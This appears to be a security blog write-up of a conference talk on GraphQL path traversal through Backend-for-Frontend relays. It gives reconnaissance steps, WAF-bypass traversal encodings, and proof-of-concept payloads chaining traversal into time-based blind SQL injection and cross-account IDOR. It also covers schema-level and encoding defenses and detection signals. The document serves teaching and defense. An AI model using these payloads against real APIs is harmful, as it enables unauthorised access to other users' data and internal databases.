What makes GraphQL ID and String scalar inputs vulnerable to path traversal attacks?

The GraphQL specification defines ID and String scalars as accepting any string value without format validation. Unlike custom scalars such as UUID, these built-in types accept both legitimate GUIDs and malicious path traversal sequences without error at the GraphQL layer — validation must be explicitly implemented by developers or it does not happen at all.

How does the BFF design pattern amplify the impact of GraphQL path traversal?

The Backend for Frontend (BFF) pattern creates a two-request chain: a client request to the BFF, and a second internal request to a microservice. When the BFF appends attacker-controlled input directly to an internal path without sanitization, an attacker redirects the second request to arbitrary endpoints. When the BFF also uses hardcoded authorization credentials, a successful traversal grants full authenticated access to any reachable internal service.

How can testers discover GraphQL secondary context attack surface when introspection is disabled?

Fingerprint GraphQL servers using malformed POST requests that produce verbose validation errors. Run Clairvoyance to attempt schema reconstruction via suggestion responses. Force validation errors with brute-forced object names — many servers disclose internal REST hostnames in error messages. Review JavaScript bundles for hardcoded queries. Test ID/String inputs with non-UUID values and observe whether error responses confirm path disclosure.

What are the most effective defenses against GraphQL secondary context attacks?

Three independent mitigations address the root causes: replace built-in ID/String scalars with type-safe custom scalars from graphql-scalars, which enforce format validation at the schema layer; apply encodeURIComponent() to user-controlled values before appending them to internal URL paths at the BFF; and eliminate hardcoded authorization credentials at the proxy layer so each microservice enforces authorization based on the originating user's identity.

GraphQL Path Traversal: Secondary Context Attack Guide

A GraphQL API accepts ../../etc/passwd as a perfectly valid ID field — because the spec says it should. GraphQL path traversal vulnerability exploits this design gap: the ID and String scalar types accept any string input by default, and enterprise BFF (Backend for Frontend) architectures silently relay that input as a second HTTP request into trusted internal microservices.

This post breaks down two real-world critical exploit chains from Willis Vandevanter’s OWASP Global AppSec research — one combining path traversal with SQL injection, another chaining it with IDOR. You’ll get the complete reconnaissance methodology, tool setup, and defensive mitigations including the graphql-scalars library.

Key Takeaways

You'll learn how to identify GraphQL endpoints vulnerable to secondary context attacks by targeting ID and String scalar inputs with path traversal payloads — the two scalar types that accept any string input by design.
You'll be able to chain GraphQL path traversal with IDOR or SQL injection to escalate low-severity findings into critical-severity access control bypasses, using the BFF's hardcoded authorization header against itself.
Apply the graphql-scalars package and recursive path normalization checks to prevent path traversal exploitation in GraphQL APIs before attackers can map your internal microservice topology.

Secondary Context Attacks and the BFF Design Pattern

The Backend for Frontend (BFF) pattern is ubiquitous in enterprise applications. A client sends a request to the BFF, which authenticates it and then issues a second internal request to a microservice or REST API. That second hop happens inside a trusted zone — and this trust is the attack surface.

How the Two-Request Chain Works

In a standard BFF deployment:

Client sends GET company.com/api/users?id=abc123
BFF receives the request, validates the JWT, then forwards to user.microservice/users/abc123
The microservice returns data; BFF relays it to the client

The key detail: the user-controlled id parameter is appended directly to the internal path. If an attacker replaces abc123 with ../../admin/config, the BFF issues user.microservice/users/../../admin/config — which after path normalization becomes user.microservice/admin/config. The attacker has redirected the internal request to a completely different endpoint.

Two-request attack chain showing how path traversal payload in the GraphQL query gets forwarded by the BFF to an unintended internal service endpoint

Why Authorization Breaks Down

The most impactful version of this attack occurs when the BFF has hardcoded authorization — a JWT, API key, or password injected at the proxy layer for all outbound requests. This is a common architectural pattern: different dev teams own different microservices and may not require auth on internal endpoints, relying on the BFF to enforce it.

When an attacker uses path traversal to redirect the BFF’s second request to a different microservice, they inherit that hardcoded authorization header. The attacker now has authenticated access to any internal service reachable from the BFF — not just the one the original query was intended for.

BFF trust boundary architecture showing how path traversal redirects requests from the intended User service to unintended Payment and Admin services, all authenticated via the BFF's hardcoded auth header

Real-World Precedent

Sam Curry documented this pattern in his 2020 post “Hacking Starbucks and Accessing Nearly 100 Million Customer Records”^[1] — the BFF URL literally contained /bff/ and a manipulated input parameter redirected internal requests to expose customer data at scale.

The pattern: controllable input + BFF relay + relaxed internal auth = secondary context attack.

Actionable Takeaways

During threat modeling, explicitly map every parameter that flows from the BFF into the path of an outbound internal request. Any parameter appended to an internal URL path without strict validation is a secondary context attack candidate.
Audit for hardcoded authorization at the proxy/BFF layer. If a JWT, API key, or basic auth credential is injected for all outbound requests, assume that successful path traversal grants full authenticated access to all reachable internal services.
Test secondary context attack conditions both authenticated and unauthenticated — unauthenticated exploitation is often possible and produces higher CVSS scores in bug bounty or pentest reporting contexts.

Common Pitfalls

Assuming UUIDs as input values make IDOR impossible. UUID-based IDs only help if secondary validation confirms the authenticated user owns that resource — path traversal bypasses this entirely by redirecting to a different endpoint that may have no ownership check at all.
Treating microservice-to-microservice traffic as inherently trusted. When a BFF relays attacker-controlled input without sanitization, the internal trust zone is fully exposed regardless of what perimeter controls are in place.

GraphQL Scalar Types and Why ID Inputs Are High-Risk

GraphQL enforces strong typing through scalar types — the leaf values in a schema. There are five built-in scalars: Int, Float, Boolean, String, and ID.

The Critical Detail About String and ID

Of the five, String and ID both serialize as strings with no format validation. The GraphQL specification explicitly states that ID “serializes the same as String” — it simply signals that the value is not intended to be human-readable. An ID scalar accepts a GUID. It also accepts ../../admin/secrets.

# Both of these are valid at the GraphQL layer:
query { getAccount(id: "550e8400-e29b-41d4-a716-446655440000") { ... } }
query { getAccount(id: "../../internal/admin/accounts") { ... } }

Neither input will be rejected by the GraphQL runtime. Validation — if it happens at all — must be implemented explicitly by the application developer, either in the resolver or at the BFF layer.

Why ID Is the Higher-Priority Target

The ID scalar is commonly misunderstood as implying UUID format. Developers often use ID scalars for endpoint-facing identifiers and assume clients will only send valid GUIDs. This assumption is not enforced by GraphQL. In practice, ID inputs are more likely to be passed directly into internal path construction than String inputs (which are often used for display text), making them the highest-priority target when scanning a GraphQL schema for secondary context attack surface.

Red flag rule: any query or mutation with an ID or String input that is used in an internal REST call path should be tested with path traversal payloads.

The graphql-scalars^[3] package solves this at the schema layer by providing a UUID scalar that only accepts RFC 4122-compliant UUID strings — rejecting path traversal sequences before they reach a resolver.

Actionable Takeaways

When reviewing a GraphQL schema (via introspection or JavaScript analysis), grep for `ID!` and `String!` scalar inputs on queries and mutations. These are the primary candidates for secondary context attack testing.
Never rely on GraphQL's type system alone to prevent path traversal. Enforce an allowlist or strict regex pattern on any ID/String input that flows into an internal URL path — at the resolver level, not just the BFF.

Common Pitfalls

Conflating the ID scalar with UUID format enforcement. The ID scalar carries no format guarantee — it is semantically equivalent to String. Applications that skip input validation on ID fields because "it's just a UUID" are vulnerable.

GraphQL Reconnaissance and Endpoint Discovery Without Introspection

Most production GraphQL APIs have introspection disabled — the schema cannot be fetched directly. This forces testers to use indirect techniques to map the attack surface. The following methodology was used in a live assessment against an API with no introspection, no suggestions, and no Apollo Playground.

Step 1 — Fingerprint the GraphQL Server

Send a POST request with a malformed query body to candidate hosts. Many GraphQL servers respond verbosely to invalid queries, distinguishing them from generic HTTP endpoints:

POST /graphql HTTP/1.1
Content-Type: application/json

{"query": "{ __invalid }"}

A GraphQL server typically returns a structured error response even for invalid input — this is the fingerprint. Spray this across the host list during recon to identify all GraphQL endpoints, including non-obvious ones that don’t advertise themselves.

Step 2 — Check for Suggestions

Some GraphQL servers (particularly Apollo) return “Did you mean X?” suggestions when an unknown field is queried. Submit guesses for common object names:

query { banana { id } }
# Response: "Did you mean 'building'?"

Clairvoyance^[4] automates this: it submits a wordlist of common GraphQL object names and parses suggestion responses to reconstruct the schema. Always run Clairvoyance through a proxy (Burp Suite or Caido) — even when suggestions are disabled, the validation errors captured in proxy history are valuable.

Step 3 — Exploit Validation Error Disclosure

When suggestions are disabled, force validation errors using guessed object names. Some servers disclose the backend REST API host in error responses:

{
  "errors": [{
    "message": "Internal server error: http://apiv1.internal/context?table=..."
  }]
}

This is information disclosure — it reveals internal service topology. Systematically brute-force common GraphQL object and field names to trigger these errors and map which internal REST endpoints each GraphQL operation proxies to.

Step 4 — JavaScript Review

Single-page applications often hardcode GraphQL queries, fragments, and partial schema definitions in client-side JavaScript bundles. Tools like JSLeak^[5] and JSLinkFinder^[6] extract these. Even a partial schema (just the field names and scalar types) is enough to identify ID and String inputs worth testing.

Step 5 — Test for Secondary Context via Error-Driven Path Disclosure

Once candidate queries with ID/String inputs are identified, inject a non-existent value to trigger a 404 error. If the error response includes the backend URL with the injected value appended to the path, secondary context attack conditions are confirmed:

query { contract(id: "not-real-id") { ... } }
# Error: 404 http://api.internal/v1/contracts/not-real-id

Follow up with a path traversal probe to confirm control:

query { contract(id: "../../test") { ... } }
# Error: 404 http://api.internal/v1/test

On an external engagement against a hardened GraphQL API (no introspection, no suggestions), the tester discovered an information-disclosing validation error, mapped an internal SQL-query endpoint via brute-forced object enumeration, identified a secondary context opportunity through path traversal on an ID scalar, then chained the two to achieve blind SQL injection against an internal database — entirely through the GraphQL interface.

Proof of Concept Steps:

Fingerprint the GraphQL server. Send a POST request with a malformed query body:
```
POST /graphql HTTP/1.1
{"query": "{ __invalid }"}
```
The server returns a structured validation error — confirming it is GraphQL. Introspection queries fail; suggestions are disabled.
Brute-force object names to trigger validation error disclosure. Using a dictionary of common GraphQL object/field names, send queries for each. The server responds with errors that disclose the backend host and endpoint path:
```
{ "errors": [{ "message": "Error: GET http://apiv1.internal/context failed" }] }
```
Continue brute-forcing until an operation reveals an internal endpoint accepting arbitrary SQL parameters:
```
{ "errors": [{ "message": "Error: GET http://apiv1.internal/v1/query?table=X&query=Y failed" }] }
```
This endpoint (/v1/query) accepts a table and query parameter — an internal SQL interface. However, there is no direct input to control these parameters from the GraphQL layer yet.
Identify secondary context opportunity via ID scalar. Separately, a contract query is found with an id: ID! input:
```
query { contract(id: "nonexistent") { ... } }
```
Error response reveals: 404 http://api.internal/v1/contracts/nonexistent The value of id is appended directly to the internal path.
Confirm path traversal control. Inject a traversal sequence:
```
query { contract(id: "../../test") { ... } }
```
Error response: 404 http://api.internal/v1/test The path traversal is working — the BFF is relaying the normalized path.
Combine path traversal with the SQL endpoint. Construct a payload that traverses from /v1/contracts/ up to /v1/ and then targets the SQL query endpoint:
```
query {
  contract(id: "../../v1/query?table=users&query=SELECT+1+FROM+users+WHERE+SLEEP(5)--") { ... }
}
```
The BFF issues: GET http://api.internal/v1/query?table=users&query=SELECT 1 FROM users WHERE SLEEP(5)--
Confirm blind SQL injection via timing. The response is delayed by 5 seconds — confirming time-based blind SQL injection. Direct SELECT output is swallowed by the GraphQL resolver (which expects a contract object, not SQL rows), but timing-based extraction works:
```
# Extract database version character by character using SLEEP()
query {
  contract(id: "../../v1/query?table=users&query=SELECT+IF(SUBSTRING(VERSION(),1,1)='5',SLEEP(5),0)--") { ... }
}
```
Exfiltrate data. Using time-based blind injection, systematically extract table names, column names, and rows from the internal database — achieving critical data access through the GraphQL endpoint.

The exploit requires blind injection (not error-based or UNION-based) because any successful 200 response from the internal SQL API is discarded by the GraphQL resolver, which expects a typed contract object. Timing attacks bypass this constraint entirely.

Actionable Takeaways

Always run Clairvoyance through Burp Suite or Caido proxy, even when suggestions are disabled. Validation errors captured in proxy history provide object names and partial schema data for manual follow-up.
Treat information-disclosing error responses (those that reveal internal hostnames, paths, or SQL query strings) as high-value findings in their own right — they directly map the internal attack surface for secondary context exploitation.
Combine JavaScript review with error-driven recon. JS bundles often reveal operation names and scalar types that would take hours to brute-force.

Common Pitfalls

Abandoning recon when introspection and suggestions both fail. Validation error disclosure and brute-forced object enumeration are effective fallbacks that can fully map exploitable operations without either technique.
Only testing from an authenticated session. Unauthenticated GraphQL endpoints with secondary context vulnerabilities are high-severity findings — always test both auth states.

Discovery Tooling and Methodology for Secondary Context Testing

Once foundational recon is complete, systematic tooling makes secondary context testing both faster and more thorough — including retrospective analysis of past assessments.

Burp Suite Bambdas for Real-Time Highlighting

Bambdas^[7] are custom HTTP filters in Burp Suite that modify how requests appear in the Proxy table. Two are especially useful:

Operation name column — Parses the GraphQL operation name and displays it as a custom proxy column. Instead of every request showing as POST /graphql, you see getWishList, getAccountById, updateUserProfile. Unusual operations stand out against high-volume telemetry queries.
ID/String scalar highlighter — Highlights any GraphQL request containing an ID or String scalar. As you walk through the application these requests are color-coded, immediately flagging secondary context candidates without manual inspection.

Encoding Strategies for WAF Bypass

Real-world targets sit behind WAFs and CDNs. Standard ../ sequences may be blocked. Always test these encoding variants:

../          # standard
..%2f        # URL-encoded slash
..%252f      # double URL-encoded slash
%2e%2e%2f    # fully URL-encoded
..%c0%af     # overlong UTF-8 (legacy targets)

The BFF may decode input differently from the WAF, creating bypass opportunities. Try each variant systematically.

Recursive Path Traversal to Find the Root

Once path traversal is confirmed, recursively add ../ segments until the backend returns a 400 (or 200/503). This indicates the path has been traversed past the root, revealing the internal service directory depth:

../../       -> 404
../../../    -> 404
../../../../ -> 400  (root found)

burp-parser-plugin for Retrospective Analysis

The presenter’s burp-parser-plugin^[8] exports Burp Suite project files to JSON from the command line, enabling retrospective search across months of proxy history:

burp-parser -f february_assessment.burp -o json | grep "ID!"

Scan old engagement files for ID! scalar usage immediately after adopting this methodology — past targets may contain unidentified secondary context vulnerabilities.

Chaining Into the Final Exploit

The methodology culminates in combining two vulnerabilities:

Secondary context opportunity — confirmed path traversal via ID/String input
A second exploitable condition — IDOR via leaked UUID, SQL-injectable endpoint from error disclosure, or open redirect enabling SSRF

Neither alone achieves the same impact. Combined, they produce critical findings: arbitrary data access, SQL injection against the internal database, or SSRF with a stolen hardcoded API key.

GraphQL IDOR Account Takeover via Path Traversal in SSO Application

Against an enterprise SSO application with a GraphQL API, the tester identified a getAccountById query using an ID scalar, confirmed path traversal control via a 404-disclosing error response, found a GUID leak on a separate application feature, then combined path traversal with the leaked GUID to access any user’s full account data — demonstrating that the BFF’s hardcoded authorization header granted blanket cross-account access once the path was redirected.

Proof of Concept Steps:

Identify the target query. During application walkthrough, a GraphQL query for retrieving account data is observed in Burp Suite:
```
query {
  getAccountById(id: "550e8400-e29b-41d4-a716-446655440000") {
    name, email, privateData, ...
  }
}
```
The id field is typed ID! — a path traversal candidate.
Test unexpected input to trigger path disclosure. Replace the GUID with a non-UUID string:
```
query { getAccountById(id: "fakeinput") { ... } }
```
Error response:
```
{ "errors": [{ "message": "404: http://microservice.internal/api/me/accounts/fakeinput" }] }
```
The id value is appended directly to the internal path. Path traversal conditions confirmed.
Confirm path traversal. Inject a traversal probe:
```
query { getAccountById(id: "../test") { ... } }
```
Error response: 404: http://microservice.internal/api/me/test The accounts/ component is gone — the path traversal jumped one directory up as expected.
Attempt direct IDOR (fails). Create a second test account (User 2). Try User 2’s GUID directly as User 1:
```
query { getAccountById(id: "<user2-guid>") { ... } }
```
Result: 404: http://microservice.internal/api/me/accounts/<user2-guid> This fails — User 2’s account GUID under /me/accounts/ will never match User 1’s session context. Direct IDOR without path traversal is not possible.
Find a GUID leak. Inspect other application features for exposed user GUIDs. A separate lower-severity feature (e.g., a shared resource, public profile, activity feed) leaks User 2’s account GUID in its response. The presenter identifies GUID leaks as among the most valuable low-severity findings because they enable exactly this escalation.
Construct the path traversal IDOR payload. Combine the traversal with the leaked GUID and a direct path to the accounts endpoint:
```
query {
  getAccountById(id: "../../<user2-guid>/accounts/<user2-account-id>") { ... }
}
```
The BFF issues: GET http://microservice.internal/api/me/../../<user2-guid>/accounts/<user2-account-id> After path normalization: http://microservice.internal/api/<user2-guid>/accounts/<user2-account-id>
Achieve cross-account data access. The response returns User 2’s full private account data as User 1 — including sensitive fields the application treats as private. The exploit works because:
- The BFF’s hardcoded authorization header is included in all outbound requests regardless of which user’s data is being accessed
- The microservice has no per-user authorization check — it trusts the BFF’s credential
- Any authenticated session can now access any account in the system

Impact: Full horizontal privilege escalation — any authenticated user can read any other user’s account data by combining a GUID leak with a single GraphQL query.

Actionable Takeaways

Set up both Bambdas (operation name column and ID/String highlighter) before starting any GraphQL assessment. They reduce the manual effort of identifying secondary context candidates during application walkthrough to near zero.
Always test multiple path traversal encodings, especially on targets behind Cloudflare or Akamai. The WAF and BFF may decode inputs differently, creating bypass opportunities that standard dot-dot-slash will miss.
Use burp-parser-plugin to retroactively scan old engagement files for ID scalar usage after adopting this methodology. Past targets may have unidentified secondary context vulnerabilities worth revisiting.

Common Pitfalls

Stopping after confirming path traversal without attempting to combine it with a second vulnerability. Path traversal in GraphQL is rarely directly exploitable alone — impact comes from chaining it with IDOR, SQL injection, or SSRF.
Only testing encoded path traversal on the first attempt when a standard probe fails. WAF bypass requires trying multiple encoding variants systematically.

Defensive Strategies and Secure-by-Default GraphQL Development

Secondary context attacks exploit three conditions that security engineers and developers can each address independently. Fixing any one of them reduces exploitability; addressing all three eliminates the vulnerability class.

Defense 1 — Replace ID and String Scalars with Type-Safe Custom Scalars

The graphql-scalars^[3] package provides precisely typed custom scalars that enforce format validation at the schema level before input reaches a resolver or BFF:

UUID scalar — only accepts RFC 4122-compliant UUID strings; rejects path traversal sequences at the GraphQL layer
URL scalar — signals to reviewers that this input is used in URL construction, flagging it for SSRF/path traversal review in threat modeling
EmailAddress, IPv4, DateTime, and others

# Vulnerable — accepts any string
type Query {
  getAccount(id: ID!): Account
}

# Secure — UUID scalar rejects ../../ at the schema layer
type Query {
  getAccount(id: UUID!): Account
}

The package is also a threat modeling aid: when a reviewer sees URL as a scalar type, they know to check for SSRF. When they see UUID, they know path traversal is mitigated at the schema layer.

Adoption is incremental — replace one scalar at a time, prioritizing any input that flows into URL path construction.

Defense 2 — Encode User Input at the BFF

Apply encodeURIComponent() to any user-controlled value before appending it to an internal URL path. This is the mitigation explicitly recommended in the Apollo GraphQL tutorial^[9] after the vulnerability was reported:

// Vulnerable
const internalUrl = `http://user.svc/users/${input.userId}`;

// Secure
const internalUrl = `http://user.svc/users/${encodeURIComponent(input.userId)}`;

encodeURIComponent converts path separators and traversal sequences into percent-encoded characters that the receiving service will not interpret as path components.

Defense 3 — Eliminate Hardcoded Authorization at the BFF

Hardcoded JWTs, API keys, or basic auth credentials at the proxy layer are the force multiplier that turns path traversal into blanket authenticated access to internal services:

Don’t hardcode: each microservice should enforce authorization based on the originating user’s identity, not a shared BFF credential
Scope credentials narrowly: if service-to-service credentials are unavoidable, scope them to the minimum required operations
Rotate regularly: short-lived credentials limit the window of exposure

During threat modeling, always ask: “Does the BFF inject any credential into outbound requests?” This surfaces hardcoded auth before an attacker finds it.

Detection Opportunities

Secondary context attacks generate observable signals that defenders can monitor:

Elevated 404/400/503 rates on internal REST APIs (from path traversal probing)
Unusual URL patterns in access logs — paths containing .. sequences or unexpected endpoint names
Orphaned authorization header usage — internal service logs showing the BFF’s hardcoded credential used with unusual operation names

The probing phase — recursive traversal to find the root — is noisy enough to be detected before exploitation completes if these signals are monitored in Datadog, Splunk, or equivalent.

Apollo GraphQL Tutorial Vulnerable Schema — Practicing Secondary Context Attacks

A bug bounty researcher discovered that the official Apollo GraphQL tutorial application^[9] contained a secondary context vulnerability — placing a path traversal payload into a query allowed access to other users’ data. Apollo responded constructively by adding a callout in the tutorial rather than removing the vulnerability, creating an intentional practice environment.

Proof of Concept Steps:

Locate the Apollo GraphQL tutorial application. The tutorial is publicly available and can be run locally or accessed via the hosted version. It demonstrates a standard GraphQL API backed by a REST data source — exactly the BFF pattern described throughout this talk.
Find the vulnerable query. The tutorial schema contains a query that accepts a user-controlled ID parameter which is relayed to a backend REST call. The ID is appended to an internal path without sanitization.
Inject a path traversal payload. Replace the expected ID value with a traversal sequence targeting another user’s data path. The tutorial application does not validate the format of the ID scalar input, so the traversal reaches the backend REST endpoint.
Observe cross-user data access. The response returns data belonging to a different user — demonstrating the secondary context attack in a controlled environment.

Mitigation shown in the tutorial:

// Apollo's recommended fix (added after the bug bounty report)
const userId = encodeURIComponent(args.id);
const response = await this.get(`users/${userId}`);

This is the lowest-friction environment for confirming your understanding of the attack. Run the Apollo tutorial locally, intentionally skip the encodeURIComponent callout, and verify you can reproduce cross-user access before testing against real targets.

Actionable Takeaways

Adopt graphql-scalars as a team standard for all new GraphQL schemas. Migrate existing schemas incrementally, prioritizing any ID/String input that flows into URL construction or database queries.
Add "Does the BFF inject hardcoded credentials into outbound requests?" to your threat modeling checklist for every new microservice architecture review.
Instrument internal REST APIs for 404/400 rate spikes by source operation. A sudden increase in 404s from a specific GraphQL operation is an early indicator of secondary context attack probing.

Common Pitfalls

Treating encodeURIComponent as the sole mitigation. Encoding at the BFF is a patch — it does not address the root cause (untyped scalar inputs). Schema-level validation with graphql-scalars is the defense-in-depth layer that makes the encoding redundant rather than the last line of defense.

Conclusion

GraphQL secondary context attacks occupy a unique space in API security: the individual components (a permissive scalar type, a BFF relay, a hardcoded credential) are each defensible in isolation, but their combination creates high-severity findings that bypass access controls entirely. The real-world exploits documented here — blind SQL injection through a GraphQL path traversal chain, and full horizontal privilege escalation in an SSO application — demonstrate how quickly a “low-severity GUID leak” escalates when paired with an ID scalar vulnerability.

For security engineers building GraphQL APIs, the graphql-scalars package provides the most durable mitigation: schema-level enforcement that eliminates the attack surface before it reaches the BFF. For pentesters, this methodology applies directly to any GraphQL API backed by a REST data source, regardless of whether introspection is available.

Explore related techniques in application security testing and server-side request forgery patterns at SSRF — the same BFF path traversal primitive that enables secondary context attacks often directly enables SSRF when a backend REST endpoint contains an open redirect.

References & Tools

Hacking Starbucks and Accessing Nearly 100 Million Customer Records — Sam Curry's 2020 bug bounty post documenting the original secondary context attack chain via BFF path manipulation at scale. ↩
graphql-scalars — Library of type-safe custom GraphQL scalars (UUID, URL, EmailAddress, etc.) that enforce format validation at the schema layer, preventing path traversal and other input injection attacks. ↩
Clairvoyance — GraphQL schema reconstruction tool that automates schema discovery from suggestion responses and validation errors when introspection is disabled. ↩
JSLeak — JavaScript secret and endpoint extraction tool for finding hardcoded GraphQL queries and schema fragments in SPA JavaScript bundles. ↩
JSLinkFinder (LinkFinder) — JavaScript endpoint discovery tool that parses JS bundles to extract URLs, API paths, and query fragments for attack surface mapping. ↩
Burp Suite Bambdas — Custom HTTP filter scripting feature in Burp Suite for creating proxy table columns and request highlighters, used here for GraphQL operation name display and ID/String scalar highlighting. ↩
burp-parser-plugin — Command-line tool by Willis Vandevanter that parses Burp Suite project files into JSON for retrospective search across proxy history, enabling discovery of previously missed ID scalar usage. ↩
Apollo GraphQL Tutorial — Official Apollo tutorial application containing a documented secondary context vulnerability left as a learning environment after responsible disclosure, with a visible callout recommending encodeURIComponent as the mitigation. ↩

GraphQL Exploitation: Secondary Context Attacks and Business Logic

Secondary Context Attacks and the BFF Design Pattern

How the Two-Request Chain Works

Why Authorization Breaks Down

Real-World Precedent

GraphQL Scalar Types and Why ID Inputs Are High-Risk

The Critical Detail About String and ID

Why ID Is the Higher-Priority Target

GraphQL Reconnaissance and Endpoint Discovery Without Introspection

Step 1 — Fingerprint the GraphQL Server

Step 2 — Check for Suggestions

Step 3 — Exploit Validation Error Disclosure

Step 4 — JavaScript Review

Step 5 — Test for Secondary Context via Error-Driven Path Disclosure

GraphQL Path Traversal to Blind SQL Injection via BFF Relay

Discovery Tooling and Methodology for Secondary Context Testing

Burp Suite Bambdas for Real-Time Highlighting

Encoding Strategies for WAF Bypass

Recursive Path Traversal to Find the Root

burp-parser-plugin for Retrospective Analysis

Chaining Into the Final Exploit

GraphQL IDOR Account Takeover via Path Traversal in SSO Application

Defensive Strategies and Secure-by-Default GraphQL Development

Defense 1 — Replace ID and String Scalars with Type-Safe Custom Scalars

Defense 2 — Encode User Input at the BFF

Defense 3 — Eliminate Hardcoded Authorization at the BFF

Detection Opportunities

Apollo GraphQL Tutorial Vulnerable Schema — Practicing Secondary Context Attacks

Conclusion

References & Tools

Questions from the audience

Related deep dives

Breaking AI Agents: Exploiting Managed Prompt Templates to Take Over Amazon Bedrock Agents

When Passports Execute: Exploiting AI Driven KYC Pipelines | [un]prompted 2026

Agents Exploiting Auth-by-One Errors | [un]prompted 2026

Code Is Free: Securing Software | [un]prompted 2026